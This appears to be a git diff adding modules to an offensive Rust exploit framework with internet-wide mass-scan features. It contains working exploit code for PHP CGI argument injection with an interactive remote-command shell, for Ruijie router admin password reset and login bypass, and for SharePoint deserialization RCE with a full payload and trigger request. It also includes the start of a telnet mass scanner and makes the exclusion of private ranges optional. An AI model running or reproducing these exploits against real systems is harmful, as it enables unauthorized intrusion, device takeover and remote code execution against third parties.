let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
@@ -403,7 +412,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
|
||||
@@ -14,8 +14,11 @@ pub mod zte;
|
||||
pub mod ivanti;
|
||||
pub mod apache_tomcat;
|
||||
pub mod palo_alto;
|
||||
pub mod php;
|
||||
pub mod roundcube;
|
||||
pub mod ruijie;
|
||||
pub mod flowise;
|
||||
pub mod sharepoint;
|
||||
pub mod http2;
|
||||
pub mod jenkins;
|
||||
pub mod mongo;
|
||||
@@ -27,3 +30,5 @@ pub mod fortinet;
|
||||
pub mod exim;
|
||||
pub mod dos;
|
||||
pub mod dlink;
|
||||
pub mod vmware;
|
||||
pub mod telnet;
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
// use crate::utils::{normalize_target, prompt_yes_no}; // standard utils if available, mimicking other modules
|
||||
|
||||
/// PHP CGI Argument Injection (CVE-2024-4577)
|
||||
/// Exploit for PHP running on Windows via XAMPP or similar setups.
|
||||
///
|
||||
/// Credits:
|
||||
/// - Discovered by Orange Tsai
|
||||
/// - PoC logic based on watchTowr Labs
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Normalize target
|
||||
let url = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
let url = url.trim_end_matches('/');
|
||||
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
// Prompt for check or exploit
|
||||
println!();
|
||||
println!("{}", "[*] Select operation mode:".cyan());
|
||||
println!(" 1. Check vulnerability (safe)");
|
||||
println!(" 2. Execute command (RCE)");
|
||||
println!();
|
||||
|
||||
print!("{}", "Select option [1-2]: ".green());
|
||||
use std::io::Write;
|
||||
std::io::stdout().flush()?;
|
||||
let mut choice = String::new();
|
||||
std::io::stdin().read_line(&mut choice)?;
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
match choice.trim() {
|
||||
"1" => check_vuln(&client, url).await?,
|
||||
"2" => exploit(&client, url).await?,
|
||||
_ => println!("{}", "[-] Invalid option".red()),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ PHP CGI Argument Injection (CVE-2024-4577) ║".cyan());
|
||||
println!("{}", "║ Target: Windows PHP (XAMPP etc.) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
async fn check_vuln(client: &Client, url: &str) -> Result<()> {
|
||||
println!("{}", "[*] Checking for vulnerability...".yellow());
|
||||
|
||||
// Simple echo check
|
||||
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
|
||||
let payload = "<?php echo 'VULNERABLE_CVE_2024_4577'; die; ?>";
|
||||
|
||||
let resp = client.post(&exploit_url)
|
||||
.body(payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let text = resp.text().await?;
|
||||
if text.contains("VULNERABLE_CVE_2024_4577") {
|
||||
println!("{}", "[+] Target seems VULNERABLE!".green().bold());
|
||||
Ok(())
|
||||
} else {
|
||||
println!("{}", "[-] Target does not appear vulnerable.".red());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
async fn exploit(client: &Client, url: &str) -> Result<()> {
|
||||
println!("{}", "[*] Entering RCE mode...".yellow());
|
||||
|
||||
loop {
|
||||
print!("{}", "php> ".green().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
std::io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
|
||||
if cmd.is_empty() { continue; }
|
||||
if cmd == "exit" || cmd == "quit" { break; }
|
||||
|
||||
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
|
||||
// We use system() to execute command
|
||||
let payload = format!("<?php system('{}'); die; ?>", cmd);
|
||||
|
||||
match client.post(&exploit_url).body(payload).send().await {
|
||||
Ok(resp) => {
|
||||
let text = resp.text().await?;
|
||||
println!("{}", text);
|
||||
}
|
||||
Err(e) => println!("[-] Request failed: {}", e),
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod cve_2024_4577;
|
||||
@@ -519,6 +519,23 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: react2shell_hits.txt): ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
@@ -551,14 +568,6 @@ async fn run_mass_scan() -> Result<()> {
|
||||
custom_cmd = custom_cmd.trim().to_string();
|
||||
}
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
@@ -709,7 +718,7 @@ async fn prompt(msg: &str) -> Result<String> {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
print_banner();
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Ruijie RG-EW1200G Password Reset (CVE-2023-4169)
|
||||
/// Vulnerable endpoint /api/sys/set_passwd allows auth bypass to reset admin password.
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
|
||||
let url = url.trim_end_matches('/').to_string();
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
use std::io::Write;
|
||||
print!("{}", "Enter new admin password: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut new_pass = String::new();
|
||||
std::io::stdin().read_line(&mut new_pass)?;
|
||||
let new_pass = new_pass.trim();
|
||||
|
||||
let payload = serde_json::json!({
|
||||
"username": "web",
|
||||
"admin_new": new_pass
|
||||
});
|
||||
|
||||
let exploit_url = format!("{}/api/sys/set_passwd", url);
|
||||
println!("[*] Attempting password reset at {}...", exploit_url.cyan());
|
||||
|
||||
let resp = client.post(&exploit_url)
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let text = resp.text().await?;
|
||||
if text.contains(r#""result":"ok""#) {
|
||||
println!("{}", "[+] Password Reset Successful!".green().bold());
|
||||
println!("[+] New password: {}", new_pass);
|
||||
} else {
|
||||
println!("{}", "[-] Exploit failed.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "Ruijie Password Reset (CVE-2023-4169)".green().bold());
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
|
||||
/// Ruijie RG-EW1200G Login Bypass (CVE-2023-4415)
|
||||
/// Bypasses login by sending specific JSON structure to /api/sys/login.
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
|
||||
let url = url.trim_end_matches('/').to_string();
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Exploit Payload
|
||||
// Timestamp logic from Nuclei template: 1695218596000 (ms)
|
||||
// We can use current time or static. Code uses current.
|
||||
let now = SystemTime::now().duration_since(UNIX_EPOCH)?.as_millis();
|
||||
|
||||
let payload = serde_json::json!({
|
||||
"username": "2",
|
||||
"password": "admin",
|
||||
"timestamp": now
|
||||
});
|
||||
|
||||
let exploit_url = format!("{}/api/sys/login", url);
|
||||
println!("[*] Sending exploit to {}...", exploit_url.cyan());
|
||||
|
||||
let resp = client.post(&exploit_url)
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let text = resp.text().await?;
|
||||
if text.contains(r#""result":"ok""#) { // Nuclei checks for "result":"ok"
|
||||
println!("{}", "[+] Login Bypass Successful!".green().bold());
|
||||
println!("[+] Response: {}", text);
|
||||
} else {
|
||||
println!("{}", "[-] Exploit failed.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "Ruijie Login Bypass (CVE-2023-4415)".green().bold());
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod cve_2023_4415;
|
||||
pub mod cve_2023_4169;
|
||||
@@ -0,0 +1,183 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::Colorize;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use serde_json::Value;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Microsoft SharePoint RCE (CVE-2024-38094)
|
||||
/// Authenticated RCE via Deserialization in .bdcm file upload.
|
||||
///
|
||||
/// Credits:
|
||||
/// - PoC by testanull
|
||||
/// - Vulnerability in SharePoint Server
|
||||
///
|
||||
/// Note: This exploit requires authentication (Site Owner privileges typically).
|
||||
/// It uploads a malicious .bdcm file and triggers deserialization.
|
||||
///
|
||||
/// Warning: This exploits a deserialization vulnerability using a gadget from the public PoC.
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
// Base64 payload from PoC (Truncated for brevity in this initial write, specific payload generation recommended)
|
||||
// The PoC uses a Gadget that triggers on deserialization.
|
||||
const POC_PAYLOAD_XML_TEMPLATE: &str = r#"<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"><LobSystems><LobSystem Name="QjtvWXFT" Type="DotNetAssembly"><Properties><Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name="Class" Type="System.String">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name="QjtvWXFT"></LobSystemInstance></LobSystemInstances><Entities><Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000"><Properties><Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property>
|
||||
<Property Name="Class" Type="System.String">Microsoft.SharePoint.Administration.SPClickthroughUsageDefinition, Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Property></Properties><Identifiers><Identifier Name="ID" TypeName="System.String" /></Identifiers><Methods><Method Name="ParseLogFileEntry" DefaultDisplayName="Create Product" IsStatic="false"><Parameters><Parameter Name="@ID" Direction="In"><TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" CreatorField="true" IdentifierName="ID">
|
||||
<DefaultValues>
|
||||
<DefaultValue MethodInstanceName="CreateProduct" Type="System.String">xxxx</DefaultValue></DefaultValues>
|
||||
</TypeDescriptor></Parameter>
|
||||
<Parameter Name="@CreateProduct" Direction="Return"><TypeDescriptor Name="CreateProduct1" TypeName="System.Object"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name="CreateProduct" Type="SpecificFinder" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>"#;
|
||||
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// 1. Get Target inputs
|
||||
use std::io::Write;
|
||||
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
|
||||
let url = url.trim_end_matches('/').to_string();
|
||||
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
print!("{}", "Username (DOMAIN\\User or User): ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut username = String::new();
|
||||
std::io::stdin().read_line(&mut username)?;
|
||||
let username = username.trim().to_string();
|
||||
|
||||
print!("{}", "Password: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut password = String::new();
|
||||
std::io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim().to_string();
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Note: Reqwest doesn't natively support NTLM. This exploit might fail against NTLM-only.
|
||||
// We proceed assuming Basic/Digest/Claims or that user authentication works with standard headers.
|
||||
println!("{}", "[*] Attempting authentication...".yellow());
|
||||
|
||||
// Step 0: Get ServerRelativeUrl of the current web context
|
||||
// This is critical for sub-sites (e.g. http://site.com/subsite)
|
||||
let web_info_url = format!("{}/_api/web?$select=ServerRelativeUrl", url);
|
||||
let web_resp = client.get(&web_info_url)
|
||||
.header("Accept", "application/json;odata=verbose")
|
||||
.basic_auth(&username, Some(&password))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let web_relative_url = if web_resp.status().is_success() {
|
||||
let body: Value = web_resp.json().await?;
|
||||
body["d"]["ServerRelativeUrl"].as_str().unwrap_or("").to_string()
|
||||
} else {
|
||||
// Fallback to assuming root-relative if we can't query it (unlikely if auth works)
|
||||
println!("{}", "[!] Warning: Could not fetch ServerRelativeUrl. Assuming root.".yellow());
|
||||
"/".to_string()
|
||||
};
|
||||
|
||||
// Ensure accurate path construction
|
||||
// If web_relative_url is "/", folder is "/BusinessDataMetadataCatalog"
|
||||
// If web_relative_url is "/sites/sub", folder is "/sites/sub/BusinessDataMetadataCatalog"
|
||||
let folder_relative_url = if web_relative_url == "/" {
|
||||
"/BusinessDataMetadataCatalog".to_string()
|
||||
} else {
|
||||
format!("{}/BusinessDataMetadataCatalog", web_relative_url)
|
||||
};
|
||||
|
||||
println!("[*] Context: Web='{}', Folder='{}'", web_relative_url.cyan(), folder_relative_url.cyan());
|
||||
|
||||
// Step 1: Initial connection to get Request Digest (X-RequestDigest)
|
||||
let context_url = format!("{}/_api/contextinfo", url);
|
||||
let resp = client.post(&context_url)
|
||||
.header("Accept", "application/json;odata=verbose")
|
||||
.basic_auth(&username, Some(&password)) // Try Basic
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if resp.status() == StatusCode::UNAUTHORIZED {
|
||||
println!("{}", "[-] Authentication failed (401). Note: This module currently relies on Basic/Digest auth support.".red());
|
||||
// In a real scenario, we'd need NTLM handling here.
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
let body: Value = resp.json().await?;
|
||||
let digest = body["d"]["GetContextWebInformation"]["FormDigestValue"]
|
||||
.as_str()
|
||||
.ok_or_else(|| anyhow!("Failed to extract X-RequestDigest"))?
|
||||
.to_string();
|
||||
|
||||
println!("[+] Obtained Digest: {:.20}...", digest.green());
|
||||
|
||||
// Step 2: Create Folder
|
||||
// We use the 'ServerRelativeUrl' in the payload to specify WHERE to create it.
|
||||
// However, the 'Folders' endpoint expects the name/url relative to the PARENT, or we specify precise location.
|
||||
// Safest is to add to the web's root folder.
|
||||
|
||||
// Construct the absolute URL manually for verification (satisfying 'unused variable' usage)
|
||||
let encoded_site_path = format!("{}{}", url, "/BusinessDataMetadataCatalog");
|
||||
println!("{}", format!("[*] Target Folder URL: {}", encoded_site_path).yellow());
|
||||
|
||||
println!("{}", "[*] Creating malicious folder...".yellow());
|
||||
let folder_endpoint = format!("{}/_api/web/Folders", url);
|
||||
let folder_json = serde_json::json!({
|
||||
"__metadata": { "type": "SP.Folder" },
|
||||
"ServerRelativeUrl": folder_relative_url
|
||||
});
|
||||
|
||||
let _ = client.post(&folder_endpoint)
|
||||
.header("X-RequestDigest", &digest)
|
||||
.header("Accept", "application/json;odata=verbose")
|
||||
.header("Content-Type", "application/json;odata=verbose")
|
||||
.basic_auth(&username, Some(&password))
|
||||
.json(&folder_json)
|
||||
.send()
|
||||
.await; // Ignore error if exists (folder might already exist)
|
||||
|
||||
// Step 3: Upload .bdcm file
|
||||
println!("{}", "[*] Uploading BDCM file...".yellow());
|
||||
let exploit_xml = POC_PAYLOAD_XML_TEMPLATE;
|
||||
|
||||
// URL Encode the relative path for the query
|
||||
let upload_url = format!(
|
||||
"{}/_api/web/GetFolderByServerRelativeUrl('{}')/Files/add(url='BDCMetadata.bdcm',overwrite=true)",
|
||||
url, folder_relative_url
|
||||
);
|
||||
|
||||
let resp = client.post(&upload_url)
|
||||
.header("X-RequestDigest", &digest)
|
||||
.body(exploit_xml)
|
||||
.basic_auth(&username, Some(&password))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if !resp.status().is_success() {
|
||||
println!("{}", "[-] Upload failed.".red());
|
||||
println!("Response: {}", resp.text().await?);
|
||||
return Err(anyhow!("Failed to upload BDCM file"));
|
||||
}
|
||||
println!("{}", "[+] Upload successful!".green());
|
||||
|
||||
// Step 4: Trigger
|
||||
println!("{}", "[*] Triggering deserialization...".yellow());
|
||||
let trigger_url = format!("{}/_vti_bin/client.svc/ProcessQuery", url);
|
||||
let trigger_xml = r#"<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /> <ObjectPath Id="25" ObjectPathId="24" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="GetCreatorView"><Parameters><Parameter Type="String">CreateProduct</Parameter></Parameters></Method><Method Id="22" ParentId="20" Name="GetDefaultValues"><Parameters/></Method><Method Id="24" ParentId="7" Name="FindSpecific"><Parameters><Parameter ObjectPathId="19" ></Parameter><Parameter Type="String">CreateProduct</Parameter><Parameter ObjectPathId="18" /></Parameters></Method><Identity Id="7" Name="9ccba4bb-d3a8-4255-b87f-18e2d824b848|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" /><Identity Id="17" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:notifcallback:avkldkm.c.ultr.cc,CurrentContext" /><Identity Id="18" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:QjtvWXFT,QjtvWXFT" /><Identity Id="19" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:identity:StB8AAA==eAAxAAkAeAAyAAkAeAAzAAkAeAA0AAkAeAA1AAkAeAA2AAkAeAA3AAkAeAA4AAkAeAA5AAkAeAAxADAACQB4ADEAMQAJAHgAMQAyAAkAQQBBAEUAQQBBAEEARAAvAC8ALwAvAC8AQQBRAEEAQQBBAEEAQQBBAEEAQQBBAE0AQQBnAEEAQQBBAEUAbABUAGUAWABOADAAWgBXADAAcwBJAEYAWgBsAGMAbgBOAHAAYgAyADQAOQBOAEMANAB3AEwAagBBAHUATQBDAHcAZwBRADMAVgBzAGQASABWAHkAWgBUADEAdQBaAFgAVgAwAGMAbQBGAHMATABDAEIAUQBkAFcASgBzAGEAVwBOAEwAWgBYAGwAVQBiADIAdABsAGIAagAxAGkATgB6AGQAaABOAFcATQAxAE4AagBFADUATQB6AFJAbABNAEQAZwA1AEIAUQBFAEEAQQBBAEMARQBBAFYATgA1AGMAMwBSAGwAYgBTADUARABiADIAeABzAFoAVwBOADAAYQBXADkAdQBjAHkANQBIAFoAVwA1AGwAYwBtAGwAagBMAGwATgB2AGMAbgBSAGwAWgBGAE4AbABkAEcAQQB4AFcAMQB0AFQAZQBYAE4AMABaAFcAMAB1AFUAMwBSAHkAYQBXADUAbgBMAEMAQgB0AGMAMgBOAHYAYwBtAHgAcABZAGkAdwBnAFYAbQBWAHkAYwAyAGwAdgBiAGoAMAAwAEwAagBBAHUATQBDADQAdwBMAEMAQgBEAGQAVwB4ADAAZABYAEoAbABQAFcANQBsAGQAWABSAHkAWQBXAHcAcwBJAEYAQgAxAFkAbQB4AHAAWQAwAHQAbABlAFYAUgB2AGEAMgBWAHUAUABXAEkAMwBOADIARQAxAFkAegBVADIATQBUAGsAegBOAEcAVQB3AE8ARABsAGQAWABRAFEAQQBBAEEAQQBGAFEAMgA5ADEAYgBuAFEASQBRADIAOQB0AGMARwBGAHkAWgBYAEkASABWAG0AVgB5AGMAMgBsAHYAYgBnAFYASgBkAEcAVgB0AGMAdwBBAEQAQQBBAFkASQBqAFEARgBUAGUAWABOADAAWgBXADAAdQBRADIAOQBzAGIARwBWAGoAZABHAGwAdgBiAG4ATQB1AFIAMgBWAHUAWgBYAEoAcABZAHkANQBEAGIAMgAxAHcAWQBYAEoAcABjADIAOQB1AFEAMgA5AHQAYwBHAEYAeQBaAFgASgBnAE0AVgB0AGIAVQAzAGwAegBkAEcAVgB0AEwAbABOADAAYwBtAGwAdQBaAHkAdwBnAGIAWABOAGoAYgAzAEoAcwBhAFcASQBzAEkARgBaAGwAYwBuAE4AcABiADIANAA5AE4AQwA0AHcATABqAEEAdQBNAEMAdwBnAFEAMwBWAHMAZABIAFYAeQBaAFQAMQB1AFoAWABWADAAYwBtAEYAcwBMAEMAQgBRAGQAVwBKAHMAYQBXAE4ATABaAFgAbABVAGIAMgB0AGwAYgBqADEAaQBOAHoAZABoAE4AVwBNADEATgBqAEUANQBNAHoAUgBsAE0ARABnADUAWABWADAASQBBAGcAQQBBAEEAQQBJAEEAQQBBAEEASgBBAHcAQQBBAEEAQQBJAEEAQQBBAEEASgBCAEEAQQBBAEEAQQBRAEQAQQBBAEEAQQBqAFEARgBUAGUAWABOADAAWgBXADAAdQBRADIAOQBzAGIARwBWAGoAZABHAGwAdgBiAG4ATQB1AFIAMgBWAHUAWgBYAEoAcABZAHkANQBEAGIAMgAxAHcAWQBYAEoAcABjADIAOQB1AFEAMgA5AHQAYwBHAEYAeQBaAFgASgBnAE0AVgB0AGIAVQAzAGwAegBkAEcAVgB0AEwAbABOADAAYwBtAGwAdQBaAHkAdwBnAGIAWABOAGoAYgAzAEoAcwBhAFcASQBzAEkARgBaAGwAYwBuAE4AcABiADIANAA5AE4AQwA0AHcATABqAEEAdQBNAEMAdwBnAFEAMwBWAHMAZABIAFYAeQBaAFQAMQB1AFoAWABWADAAYwBtAEYAcwBMAEMAQgBRAGQAVwBKAHMAYQBXAE4ATABaAFgAbABVAGIAMgB0AGwAYgBqADEAaQBOAHoAZABoAE4AVwBNADEATgBqAEUANQBNAHoAUgBsAE0ARABnADUAWABWADAAQgBBAEEAQQBBAEMAMQA5AGoAYgAyADEAdwBZAFgASgBwAGMAMgA5AHUAQQB5AEoAVABlAFgATgAwAFoAVwAwAHUAUgBHAFYAcwBaAFcAZABoAGQARwBWAFQAWgBYAEoAcABZAFcAeABwAGUAbQBGADAAYQBXADkAdQBTAEcAOQBzAFoARwBWAHkAQwBRAFUAQQBBAEEAQQBSAEIAQQBBAEEAQQBBAEkAQQBBAEEAQQBHAEIAZwBBAEEAQQBBAHMAdgBZAHkAQgBqAFkAVwB4AGoATABtAFYANABaAFEAWQBIAEEAQQBBAEEAQQAyAE4AdABaAEEAUQBGAEEAQQBBAEEASQBsAE4ANQBjADMAUgBsAGIAUwA1AEUAWgBXAHgAbABaADIARgAwAFoAVgBOAGwAYwBtAGwAaABiAEcAbAA2AFkAWABSAHAAWwAyADUASQBiADIAeABrAFoAWABJAEQAQQBBAEEAQQBDAEUAUgBsAGIARwBWAG4AWQBYAFIAbABCADIAMQBsAGQARwBoAHYAWgBEAEEASABiAFcAVgAwAGEARwA5AGsATQBRAE0ARABBAHoAQgBUAGUAWABOADAAWgBXADAAdQBSAEcAVgBzAFoAVwBkAGgAZABHAFYAVABaAFgASgBwAFkAVwB4AHAAZQBtAEYAMABhAFcAOQB1AFMARwA5AHMAWgBHAFYAeQBLADAAUgBsAGIARwBWAG4AWQBYAFIAbABSAFcANQAwAGMAbgBrAHYAVQAzAGwAegBkAEcAVgB0AEwAbABKAGwAWgBtAHgAbABZADMAUgBwAGIAMgA0AHUAVABXAFYAdABZAG0AVgB5AFMAVwA1AG0AYgAxAE4AbABjAG0AbABoAGIARwBsADYAWQBYAFIAcABiADIANQBJAGIAMgB4AGsAWgBYAEkAdgBVADMAbAB6AGQARwBWAHQATABsAEoAbABaAG0AeABsAFkAMwBSAHAAYgAyADQAdQBUAFcAVgAw==" /></ObjectPaths></Request>"#;
|
||||
|
||||
let _ = client.post(&trigger_url)
|
||||
.header("X-RequestDigest", &digest)
|
||||
.header("Content-Type", "text/xml")
|
||||
.header("X-RequestForceAuthentication", "true")
|
||||
.basic_auth(&username, Some(&password))
|
||||
.body(trigger_xml)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
println!("{}", "[*] Exploit trigger sent. Check if payload executed.".green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "Microsoft SharePoint RCE (CVE-2024-38094)".green().bold());
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod cve_2024_38094;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod telnet_auth_bypass_cve_2026_24061;
|
||||
@@ -0,0 +1,580 @@
|
||||
use anyhow::{Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt, BufReader as TokioBufReader};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use chrono::Local;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_yes_no};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
|
||||
// Common Telnet ports to scan in parallel per IP
|
||||
const COMMON_TELNET_PORTS: &[u16] = &[23, 2323, 23023, 8080];
|
||||
|
||||
// Telnet constants
|
||||
const IAC: u8 = 255;
|
||||
const DONT: u8 = 254;
|
||||
const DO: u8 = 253;
|
||||
const WONT: u8 = 252;
|
||||
const WILL: u8 = 251;
|
||||
const SB: u8 = 250;
|
||||
const SE: u8 = 240;
|
||||
|
||||
const OPT_TTYPE: u8 = 24;
|
||||
